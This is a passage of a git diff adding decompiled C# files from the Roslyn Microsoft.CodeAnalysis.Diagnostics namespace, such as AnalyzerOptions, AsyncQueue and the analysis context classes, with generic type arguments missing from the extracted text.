RegisterOperationAction(Action action, ImmutableArray operationKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, operationKinds); + _scope.RegisterOperationAction(_analyzer, action, operationKinds); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOptions.cs new file mode 100644 index 0000000..1d80535 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOptions.cs @@ -0,0 +1,61 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public class AnalyzerOptions +{ + internal static readonly AnalyzerOptions Empty = new AnalyzerOptions(ImmutableArray.Empty); + + public ImmutableArray AdditionalFiles { get; } + + public AnalyzerConfigOptionsProvider AnalyzerConfigOptionsProvider { get; } + + public AnalyzerOptions(ImmutableArray additionalFiles, AnalyzerConfigOptionsProvider optionsProvider) + { + if (optionsProvider == null) + { + throw new ArgumentNullException("optionsProvider"); + } + AdditionalFiles = additionalFiles.NullToEmpty(); + AnalyzerConfigOptionsProvider = optionsProvider; + } + + public AnalyzerOptions(ImmutableArray additionalFiles) + : this(additionalFiles, CompilerAnalyzerConfigOptionsProvider.Empty) + { + } + + public AnalyzerOptions WithAdditionalFiles(ImmutableArray additionalFiles) + { + if (AdditionalFiles == additionalFiles) + { + return this; + } + return new AnalyzerOptions(additionalFiles); + } + + public override bool Equals(object? obj) + { + if (this == obj) + { + return true; + } + if (obj is AnalyzerOptions analyzerOptions) + { + if (!(AdditionalFiles == analyzerOptions.AdditionalFiles)) + { + return AdditionalFiles.SequenceEqual(analyzerOptions.AdditionalFiles, object.ReferenceEquals); + } + return true; + } + return false; + } + + public override int GetHashCode() + { + return Hash.CombineValues(AdditionalFiles); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOptionsExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOptionsExtensions.cs new file mode 100644 index 0000000..23eac41 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerOptionsExtensions.cs @@ -0,0 +1,61 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal static class AnalyzerOptionsExtensions +{ + private const string DotnetAnalyzerDiagnosticPrefix = "dotnet_analyzer_diagnostic"; + + private const string CategoryPrefix = "category"; + + private const string SeveritySuffix = "severity"; + + private const string DotnetAnalyzerDiagnosticSeverityKey = "dotnet_analyzer_diagnostic.severity"; + + private static string GetCategoryBasedDotnetAnalyzerDiagnosticSeverityKey(string category) + { + return "dotnet_analyzer_diagnostic.category-" + category + ".severity"; + } + + public static bool TryGetSeverityFromBulkConfiguration(this AnalyzerOptions? analyzerOptions, SyntaxTree tree, Compilation compilation, DiagnosticDescriptor descriptor, CancellationToken cancellationToken, out ReportDiagnostic severity) + { + if (analyzerOptions == null || !descriptor.IsEnabledByDefault || descriptor.IsCompilerOrNotConfigurable()) + { + severity = ReportDiagnostic.Default; + return false; + } + if (!compilation.Options.SpecificDiagnosticOptions.ContainsKey(descriptor.Id)) + { + SyntaxTreeOptionsProvider? syntaxTreeOptionsProvider = compilation.Options.SyntaxTreeOptionsProvider; + if (syntaxTreeOptionsProvider == null || !syntaxTreeOptionsProvider.TryGetDiagnosticValue(tree, descriptor.Id, cancellationToken, out var severity2)) + { + SyntaxTreeOptionsProvider? syntaxTreeOptionsProvider2 = compilation.Options.SyntaxTreeOptionsProvider; + if (syntaxTreeOptionsProvider2 == null || !syntaxTreeOptionsProvider2.TryGetGlobalDiagnosticValue(descriptor.Id, cancellationToken, out severity2)) + { + AnalyzerConfigOptions options = analyzerOptions.AnalyzerConfigOptionsProvider.GetOptions(tree); + string categoryBasedDotnetAnalyzerDiagnosticSeverityKey = GetCategoryBasedDotnetAnalyzerDiagnosticSeverityKey(descriptor.Category); + if (options.TryGetValue(categoryBasedDotnetAnalyzerDiagnosticSeverityKey, out string value) && AnalyzerConfigSet.TryParseSeverity(value, out severity)) + { + if (severity == ReportDiagnostic.Warn && compilation.Options.GeneralDiagnosticOption == ReportDiagnostic.Error) + { + severity = ReportDiagnostic.Error; + } + return true; + } + if (options.TryGetValue("dotnet_analyzer_diagnostic.severity", out value) && AnalyzerConfigSet.TryParseSeverity(value, out severity)) + { + if (severity == ReportDiagnostic.Warn && compilation.Options.GeneralDiagnosticOption == ReportDiagnostic.Error) + { + severity = ReportDiagnostic.Error; + } + return true; + } + severity = ReportDiagnostic.Default; + return false; + } + } + } + severity = ReportDiagnostic.Default; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerReference.cs new file mode 100644 index 0000000..8b8109e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerReference.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class AnalyzerReference +{ + public abstract string? FullPath { get; } + + public virtual string Display => string.Empty; + + public abstract object Id { get; } + + public abstract ImmutableArray GetAnalyzersForAllLanguages(); + + public abstract ImmutableArray GetAnalyzers(string language); + + public virtual ImmutableArray GetGeneratorsForAllLanguages() + { + return ImmutableArray.Empty; + } + + [Obsolete("Use GetGenerators(string language) or GetGeneratorsForAllLanguages()")] + public virtual ImmutableArray GetGenerators() + { + return ImmutableArray.Empty; + } + + public virtual ImmutableArray GetGenerators(string language) + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerSymbolStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerSymbolStartAnalysisContext.cs new file mode 100644 index 0000000..b23a990 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerSymbolStartAnalysisContext.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AnalyzerSymbolStartAnalysisContext : SymbolStartAnalysisContext +{ + private readonly DiagnosticAnalyzer _analyzer; + + private readonly HostSymbolStartAnalysisScope _scope; + + internal AnalyzerSymbolStartAnalysisContext(DiagnosticAnalyzer analyzer, HostSymbolStartAnalysisScope scope, ISymbol owningSymbol, Compilation compilation, AnalyzerOptions options, bool isGeneratedCode, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + : base(owningSymbol, compilation, options, isGeneratedCode, filterTree, filterSpan, cancellationToken) + { + _analyzer = analyzer; + _scope = scope; + } + + public override void RegisterSymbolEndAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterSymbolEndAction(_analyzer, action); + } + + public override void RegisterCodeBlockStartAction(Action> action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCodeBlockStartAction(_analyzer, action); + } + + public override void RegisterCodeBlockAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCodeBlockAction(_analyzer, action); + } + + public override void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, syntaxKinds); + _scope.RegisterSyntaxNodeAction(_analyzer, action, syntaxKinds); + } + + public override void RegisterOperationBlockStartAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterOperationBlockStartAction(_analyzer, action); + } + + public override void RegisterOperationBlockAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterOperationBlockAction(_analyzer, action); + } + + public override void RegisterOperationAction(Action action, ImmutableArray operationKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, operationKinds); + _scope.RegisterOperationAction(_analyzer, action, operationKinds); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AsyncQueue.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AsyncQueue.cs new file mode 100644 index 0000000..807d733 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AsyncQueue.cs @@ -0,0 +1,227 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using System.Threading.Tasks; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AsyncQueue +{ + private sealed class CancelableTaskCompletionSource + { + internal CancellationToken CancellationToken { get; } + + internal TaskCompletionSource TaskCompletionSource { get; } + + internal CancellationTokenRegistration CancellationTokenRegistration { get; set; } + + internal CancelableTaskCompletionSource(TaskCompletionSource taskCompletionSource, CancellationToken cancellationToken) + { + TaskCompletionSource = taskCompletionSource; + CancellationToken = cancellationToken; + } + } + + private readonly TaskCompletionSource _whenCompleted = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously); + + private readonly Queue _data = new Queue(); + + private Queue>> _waiters; + + private bool _completed; + + private bool _disallowEnqueue; + + private object SyncObject => _data; + + public int Count + { + get + { + lock (SyncObject) + { + return _data.Count; + } + } + } + + public bool IsCompleted + { + get + { + lock (SyncObject) + { + return _completed; + } + } + } + + public Task WhenCompletedTask => _whenCompleted.Task; + + public void Enqueue(TElement value) + { + if (!EnqueueCore(value)) + { + throw new InvalidOperationException("Cannot call Enqueue when the queue is already completed."); + } + } + + public bool TryEnqueue(TElement value) + { + return EnqueueCore(value); + } + + private bool EnqueueCore(TElement value) + { + TaskCompletionSource> taskCompletionSource; + do + { + if (_disallowEnqueue) + { + throw new InvalidOperationException("Cannot enqueue data after PromiseNotToEnqueue."); + } + lock (SyncObject) + { + if (_completed) + { + return false; + } + if (_waiters == null || _waiters.Count == 0) + { + _data.Enqueue(value); + return true; + } + taskCompletionSource = _waiters.Dequeue(); + } + } + while (!taskCompletionSource.TrySetResult(value)); + return true; + } + + public bool TryDequeue(out TElement d) + { + lock (SyncObject) + { + if (_data.Count == 0) + { + d = default(TElement); + return false; + } + d = _data.Dequeue(); + return true; + } + } + + public void Complete() + { + if (!CompleteCore()) + { + throw new InvalidOperationException("Cannot call Complete when the queue is already completed."); + } + } + + public void PromiseNotToEnqueue() + { + _disallowEnqueue = true; + } + + public bool TryComplete() + { + return CompleteCore(); + } + + private bool CompleteCore() + { + Queue>> waiters; + lock (SyncObject) + { + if (_completed) + { + return false; + } + _completed = true; + waiters = _waiters; + _waiters = null; + } + if (waiters != null && waiters.Count > 0) + { + foreach (TaskCompletionSource> item in waiters) + { + item.TrySetResult(default(Optional)); + } + } + _whenCompleted.SetResult(result: true); + return true; + } + + public Task DequeueAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + ValueTask> optionalResult = TryDequeueAsync(cancellationToken); + if (optionalResult.IsCompletedSuccessfully) + { + Optional result = optionalResult.Result; + if (!result.HasValue) + { + return Task.FromCanceled(new CancellationToken(canceled: true)); + } + return Task.FromResult(result.Value); + } + return dequeueSlowAsync(optionalResult); + static async Task dequeueSlowAsync(ValueTask> valueTask) + { + Optional optional = await valueTask.ConfigureAwait(continueOnCapturedContext: false); + if (!optional.HasValue) + { + new CancellationToken(canceled: true).ThrowIfCancellationRequested(); + } + return optional.Value; + } + } + + public ValueTask> TryDequeueAsync(CancellationToken cancellationToken) + { + lock (SyncObject) + { + if (_data.Count > 0) + { + return ValueTaskFactory.FromResult((Optional)_data.Dequeue()); + } + if (_completed) + { + return ValueTaskFactory.FromResult(default(Optional)); + } + if (_waiters == null) + { + _waiters = new Queue>>(); + } + TaskCompletionSource> taskCompletionSource = new TaskCompletionSource>(TaskCreationOptions.RunContinuationsAsynchronously); + AttachCancellation(taskCompletionSource, cancellationToken); + _waiters.Enqueue(taskCompletionSource); + return new ValueTask>(taskCompletionSource.Task); + } + } + + private static void AttachCancellation(TaskCompletionSource taskCompletionSource, CancellationToken cancellationToken) + { + if (!cancellationToken.CanBeCanceled || taskCompletionSource.Task.IsCompleted) + { + return; + } + if (cancellationToken.IsCancellationRequested) + { + taskCompletionSource.TrySetCanceled(cancellationToken); + return; + } + CancelableTaskCompletionSource cancelableTaskCompletionSource = new CancelableTaskCompletionSource(taskCompletionSource, cancellationToken); + cancelableTaskCompletionSource.CancellationTokenRegistration = cancellationToken.Register(delegate(object s) + { + CancelableTaskCompletionSource cancelableTaskCompletionSource2 = (CancelableTaskCompletionSource)s; + cancelableTaskCompletionSource2.TaskCompletionSource.TrySetCanceled(cancelableTaskCompletionSource2.CancellationToken); + }, cancelableTaskCompletionSource, useSynchronizationContext: false); + taskCompletionSource.Task.ContinueWith(delegate(Task _, object s) + { + ((CancelableTaskCompletionSource)s).CancellationTokenRegistration.Dispose(); + }, cancelableTaskCompletionSource, CancellationToken.None, TaskContinuationOptions.ExecuteSynchronously, TaskScheduler.Default); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CachingSemanticModelProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CachingSemanticModelProvider.cs new file mode 100644 index 0000000..fbb4d10 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CachingSemanticModelProvider.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Concurrent; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CachingSemanticModelProvider : SemanticModelProvider +{ + private sealed class PerCompilationProvider + { + private readonly Compilation _compilation; + + private readonly ConcurrentDictionary _semanticModelsMap; + + private readonly Func _createSemanticModel; + + public PerCompilationProvider(Compilation compilation) + { + _compilation = compilation; + _semanticModelsMap = new ConcurrentDictionary(); + _createSemanticModel = (SyntaxTree tree) => compilation.CreateSemanticModel(tree, ignoreAccessibility: false); + } + + public SemanticModel GetSemanticModel(SyntaxTree tree, bool ignoreAccessibility) + { + if (ignoreAccessibility) + { + return _compilation.CreateSemanticModel(tree, ignoreAccessibility: true); + } + return _semanticModelsMap.GetOrAdd(tree, _createSemanticModel); + } + + public void ClearCachedSemanticModel(SyntaxTree tree) + { + _semanticModelsMap.TryRemove(tree, out SemanticModel _); + } + } + + private static readonly ConditionalWeakTable.CreateValueCallback s_createProviderCallback = (Compilation compilation) => new PerCompilationProvider(compilation); + + private readonly ConditionalWeakTable _providerCache; + + public CachingSemanticModelProvider() + { + _providerCache = new ConditionalWeakTable(); + } + + public override SemanticModel GetSemanticModel(SyntaxTree tree, Compilation compilation, bool ignoreAccessibility = false) + { + return _providerCache.GetValue(compilation, s_createProviderCallback).GetSemanticModel(tree, ignoreAccessibility); + } + + internal void ClearCache(SyntaxTree tree, Compilation compilation) + { + if (_providerCache.TryGetValue(compilation, out PerCompilationProvider value)) + { + value.ClearCachedSemanticModel(tree); + } + } + + internal void ClearCache(Compilation compilation) + { + _providerCache.Remove(compilation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockAnalysisContext.cs new file mode 100644 index 0000000..7066ac1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockAnalysisContext.cs @@ -0,0 +1,67 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct CodeBlockAnalysisContext +{ + private readonly SyntaxNode _codeBlock; + + private readonly ISymbol _owningSymbol; + + private readonly SemanticModel _semanticModel; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly CancellationToken _cancellationToken; + + public SyntaxNode CodeBlock => _codeBlock; + + public ISymbol OwningSymbol => _owningSymbol; + + public SemanticModel SemanticModel => _semanticModel; + + public AnalyzerOptions Options => _options; + + public SyntaxTree FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public CodeBlockAnalysisContext(SyntaxNode codeBlock, ISymbol owningSymbol, SemanticModel semanticModel, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(codeBlock, owningSymbol, semanticModel, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), null, isGeneratedCode: false, cancellationToken) + { + } + + internal CodeBlockAnalysisContext(SyntaxNode codeBlock, ISymbol owningSymbol, SemanticModel semanticModel, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _codeBlock = codeBlock; + _owningSymbol = owningSymbol; + _semanticModel = semanticModel; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + FilterTree = codeBlock.SyntaxTree; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, _semanticModel.Compilation, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockAnalyzerAction.cs new file mode 100644 index 0000000..c7f6f73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CodeBlockAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public CodeBlockAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockStartAnalysisContext.cs new file mode 100644 index 0000000..da83ba4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockStartAnalysisContext.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class CodeBlockStartAnalysisContext where TLanguageKindEnum : struct +{ + private readonly SyntaxNode _codeBlock; + + private readonly ISymbol _owningSymbol; + + private readonly SemanticModel _semanticModel; + + private readonly AnalyzerOptions _options; + + private readonly CancellationToken _cancellationToken; + + public SyntaxNode CodeBlock => _codeBlock; + + public ISymbol OwningSymbol => _owningSymbol; + + public SemanticModel SemanticModel => _semanticModel; + + public AnalyzerOptions Options => _options; + + public SyntaxTree FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + public CancellationToken CancellationToken => _cancellationToken; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + protected CodeBlockStartAnalysisContext(SyntaxNode codeBlock, ISymbol owningSymbol, SemanticModel semanticModel, AnalyzerOptions options, CancellationToken cancellationToken) + : this(codeBlock, owningSymbol, semanticModel, options, (TextSpan?)null, false, cancellationToken) + { + } + + private protected CodeBlockStartAnalysisContext(SyntaxNode codeBlock, ISymbol owningSymbol, SemanticModel semanticModel, AnalyzerOptions options, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _codeBlock = codeBlock; + _owningSymbol = owningSymbol; + _semanticModel = semanticModel; + _options = options; + FilterTree = codeBlock.SyntaxTree; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public abstract void RegisterCodeBlockEndAction(Action action); + + public void RegisterSyntaxNodeAction(Action action, params TLanguageKindEnum[] syntaxKinds) + { + RegisterSyntaxNodeAction(action, syntaxKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockStartAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockStartAnalyzerAction.cs new file mode 100644 index 0000000..07a6964 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CodeBlockStartAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CodeBlockStartAnalyzerAction : AnalyzerAction where TLanguageKindEnum : struct +{ + public Action> Action { get; } + + public CodeBlockStartAnalyzerAction(Action> action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisContext.cs new file mode 100644 index 0000000..cc5677b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisContext.cs @@ -0,0 +1,77 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct CompilationAnalysisContext +{ + private readonly Compilation _compilation; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly CompilationAnalysisValueProviderFactory? _compilationAnalysisValueProviderFactoryOpt; + + private readonly CancellationToken _cancellationToken; + + public Compilation Compilation => _compilation; + + public AnalyzerOptions Options => _options; + + public CancellationToken CancellationToken => _cancellationToken; + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public CompilationAnalysisContext(Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(compilation, options, reportDiagnostic, (Diagnostic d, CancellationToken c) => isSupportedDiagnostic(d), null, cancellationToken) + { + } + + internal CompilationAnalysisContext(Compilation compilation, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CompilationAnalysisValueProviderFactory? compilationAnalysisValueProviderFactoryOpt, CancellationToken cancellationToken) + { + _compilation = compilation; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + _compilationAnalysisValueProviderFactoryOpt = compilationAnalysisValueProviderFactoryOpt; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, _compilation, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } + + public bool TryGetValue(SourceText text, SourceTextValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(text, valueProvider.CoreValueProvider, out value); + } + + public bool TryGetValue(AdditionalText text, AdditionalTextValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(text, valueProvider.CoreValueProvider, out value); + } + + public bool TryGetValue(SyntaxTree tree, SyntaxTreeValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(tree, valueProvider.CoreValueProvider, out value); + } + + private bool TryGetValue(TKey key, AnalysisValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) where TKey : class + { + DiagnosticAnalysisContextHelpers.VerifyArguments(key, valueProvider); + if (_compilationAnalysisValueProviderFactoryOpt != null) + { + return _compilationAnalysisValueProviderFactoryOpt.GetValueProvider(valueProvider).TryGetValue(key, out value); + } + return valueProvider.TryGetValue(key, out value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisValueProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisValueProvider.cs new file mode 100644 index 0000000..5cae78d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisValueProvider.cs @@ -0,0 +1,45 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilationAnalysisValueProvider where TKey : class +{ + private readonly AnalysisValueProvider _analysisValueProvider; + + private readonly Dictionary _valueMap; + + public CompilationAnalysisValueProvider(AnalysisValueProvider analysisValueProvider) + { + _analysisValueProvider = analysisValueProvider; + _valueMap = new Dictionary(analysisValueProvider.KeyComparer); + } + + internal bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + lock (_valueMap) + { + if (_valueMap.TryGetValue(key, out value)) + { + return true; + } + } + if (!_analysisValueProvider.TryGetValue(key, out value)) + { + value = default(TValue); + return false; + } + lock (_valueMap) + { + if (_valueMap.TryGetValue(key, out var value2)) + { + value = value2; + } + else + { + _valueMap.Add(key, value); + } + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisValueProviderFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisValueProviderFactory.cs new file mode 100644 index 0000000..6af2100 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalysisValueProviderFactory.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; +using System.Threading; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilationAnalysisValueProviderFactory +{ + private Dictionary _lazySharedStateProviderMap; + + public CompilationAnalysisValueProvider GetValueProvider(AnalysisValueProvider analysisSharedStateProvider) where TKey : class + { + if (_lazySharedStateProviderMap == null) + { + Interlocked.CompareExchange(ref _lazySharedStateProviderMap, new Dictionary(), null); + } + object value; + lock (_lazySharedStateProviderMap) + { + if (!_lazySharedStateProviderMap.TryGetValue(analysisSharedStateProvider, out value)) + { + value = new CompilationAnalysisValueProvider(analysisSharedStateProvider); + _lazySharedStateProviderMap[analysisSharedStateProvider] = value; + } + } + return value as CompilationAnalysisValueProvider; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalyzerAction.cs new file mode 100644 index 0000000..86ebeed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilationAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public CompilationAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationCompletedEvent.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationCompletedEvent.cs new file mode 100644 index 0000000..eb93cbb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationCompletedEvent.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilationCompletedEvent : CompilationEvent +{ + public CompilationCompletedEvent(Compilation compilation) + : base(compilation) + { + } + + public override string ToString() + { + return "CompilationCompletedEvent"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationEvent.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationEvent.cs new file mode 100644 index 0000000..4687612 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationEvent.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal abstract class CompilationEvent +{ + public Compilation Compilation { get; } + + internal CompilationEvent(Compilation compilation) + { + Compilation = compilation; + } +} diff --git 